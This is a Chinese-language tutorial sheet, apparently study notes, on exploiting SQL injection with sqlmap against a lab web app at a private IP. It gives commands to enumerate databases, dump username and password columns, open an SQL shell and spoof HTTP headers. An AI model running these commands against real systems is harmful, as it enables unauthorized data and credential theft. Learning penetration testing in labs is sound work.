如果存在sql注入,获取数据过程
获取数据库
sqlmap -u “
http://192.168.120.249/baji/vul/sql/show1.php?id=1” --dbs
获取当前数据库
sqlmap -u “
http://192.168.120.249/baji/vul/sql/show1.php?id=1” --current-db
获取数据库中的表
sqlmap -u “
http://192.168.120.249/baji/vul/sql/show1.php?id=1” -D baji --tables
获取数据库中表的列
sqlmap -u “
http://192.168.120.249/baji/vul/sql/show1.php?id=1” -D baji -T users --columns
获取表中的数据
sqlmap -u “
http://192.168.120.249/baji/vul/sql/show1.php?id=1” -D baji -T users -C users “username ,password” --dump
显示5条数据
sqlmap -u “
http://192.168.120.249/baji/vul/sql/show1.php?id=1” -D baji -T users -C users “username ,password” --dump --start=1 --stop=5
设置http数据包的相关参数
–data
data后面的数据是以POST方式提交,sqlmap会像检测GET参数一样检测POST提交过去的参数
sqlmap -u “http://192.168.120.249/baji/login.php” --data=“username=111111&password=111111”
–cookie
当web需要登录的时候,需要获取cookie参数
sqlmap -u “http://192.168.120.249/baji/login.php/?id=1” --cookie="…"
–user-agent****
可以伪造user-agent值
sqlmap -u “http://www.target.com” --level=3 --user-agent=“aaaaaa” --dbs
–random-agent
会从sqlmap/txt/user-agents.txt 中随机产生user-agent头
sqlmap -u “http://www.target.com” --level=3 --random-agent --dbs
–referer ****
sqlmap可以在请求中伪造http中的referer
sqlmap -u “http://www.target.com/?id=1” --referer=“http://www.baidu.com”
–delay
可以设定两个http请求间的延迟,设定为1的时候是1s,默认是没有延迟的
–delay=10 说明一分钟请求6次
–timeout
设定http请求超过多少秒为超时,默认30秒
测试指定的参数***(面试会问)
-p
sqlmap默认会测试GET和POST参数,
–level大于等于2 测试http cookie 头的值,
–level大于等于3 测试user-agent和http referer头的值
-p “ip,user-agent”
–skip
级别很大时,跳过不能测试的参数
–skip=“user-agent,referer”
探测等级(sqlmap -r情况下)
默认为1
level=1 :sqlmap使用的payload可以在xml/payloads.xml中看到,也可以添加自己的payload
level>=2:测试HTTP Cookie
level>=3:测试User-Agent,Referer
level=5 :测试HTTP Host
探测风险等级***
–risk
–risk 1 (默认):测试大部分测试语句
–risk 2 增加基于时间的测试语句
–risk 3 增加OR语句的SQL注入测试
–prefix
注入payload字符串前缀
sqlmap -u “http://192.168.120.249/baji/vul/sql/show1.php?id=1” --prefix=" ‘)) "
后缀
sqlmap -u “http://192.168.120.249/baji/vul/sql/show1.php?id=1” --suffix=" ‘)) – "
–sql-query
查询数据库
sqlmap -u “http://192.168.120.249/baji/vul/sql/show1.php?id=1” --sql-query=“select * from users”
–sql-shell
反弹sqlshell 类似sql查询器
–sql-query
sqlmap -u “http://192.168.120.249/baji/vul/sql/show1.php?id=1” --sql-shell
sql语句
sqlmap -u 目标url
-r REQUESTFILE(requestFile)从一个文件中载入的HTTP请求
-v 显示详细信息 默认为1
0、只显示python错误以及严重的信息。
1、同时显示基本信息和警告信息
2、同时显示debug信息
3、同时显示注入的payload
4、同时显示http请求
5、同时显示http响应头
6、同时显示Http响应页面
–data=“以post提交的参数,多个参数用&链接”
–delay 可以设定两个http请求间的延迟
–timeout 可以设定一个http请求超过对久判定为超时,默认是30秒
–p 指定你要测试的参数
–level
共有五个等级,默认为1,sqlmap使用的payload可以在xml/payloads.xml中看到,自己也可以根据相应的格式添加自己 的payload。
level>=2的时候就会测试HTTP Cookie。
level>=3的时候就会测试HTTP User-Agent/Referer头。
level=5 的时候会测试HTTP Host。
–risk 默认是1会测试大部分的测试语句,2会增加基于时间的测试语句,
–dbs 所有数据库
–tables -D 列出指定数据库的表 -T 指定表名 --columns 获取列 --count 获取有几行数据 -C 读取数据(例如-C “username,password”) --dump 导出数据